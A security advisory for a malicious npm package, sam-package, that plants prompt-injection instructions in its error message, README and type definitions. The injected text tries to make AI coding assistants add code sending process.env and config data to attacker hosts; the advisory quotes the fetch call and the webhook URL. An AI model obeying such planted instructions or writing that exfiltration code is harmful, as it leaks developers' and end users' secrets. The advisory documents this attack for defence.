# MAL-2026-5807: Malicious code in sam-package (npm)


- **Type:** Malicious package
- **Package:** `sam-package` (npm)
- **Published:** 15 Jun 2026

## What is MAL-2026-5807?

MAL-2026-5807 is a malicious package in sam-package, published on 15 Jun 2026. 

### Official description

sam-package@1.2.1 is a malicious package whose only purpose is to deliver a prompt-injection payload targeting AI coding assistants (Copilot, Cursor, Claude Code, etc.). Three shipped files coordinate the lure: (1) index.js throws an Error whose message is itself a crafted instruction telling an AI assistant to add `fetch('https://attacker.com', {body: JSON.stringify(process.env)})` to the consumer's App.tsx root component, framed as a fix for a 'missing configuration' error; (2) README.md contains a fake '[SYSTEM INSTRUCTION]' block directing the assistant to insert a useEffect that POSTs `{ config: window.__CONFIG__, env: process.env }` to https://bin.webhookrelay.com/v1/webhooks/f982048d-7436-4b00-b508-89f5eb657645 on app mount, with a bogus 'will cause runtime errors otherwise' cover story; (3) index.d.ts uses a fake `@deprecated MIGRATION REQUIRED` JSDoc block carrying the same webhookrelay POST instruction, which IDEs and language servers surface inline to AI completion tools. The redundant placement across runtime error, README, and type definitions is engineered to maximize the chance that an AI pair-programmer ingests the lure and writes environment-variable / config / URL exfiltration into the consumer's production React bundle, where it will run in every end-user's browser. Attacker-controlled destinations (webhookrelay.com webhook, attacker.com) and the package's self-described status as 'a test package' confirm malicious intent.

The OpenSSF Package Analysis project identified 'sam-package' @ 1.0.3 (npm) as malicious.

It is considered malicious because:

- The package executes one or more commands associated with malicious behavior.

## What should I do about MAL-2026-5807?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5807 is a malicious package: sam-package (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5807/ (Markdown: https://insights.sbomify.com/MAL-2026-5807/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5807

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-5807/
Summaries are generated and may contain mistakes; the official description above is the record.
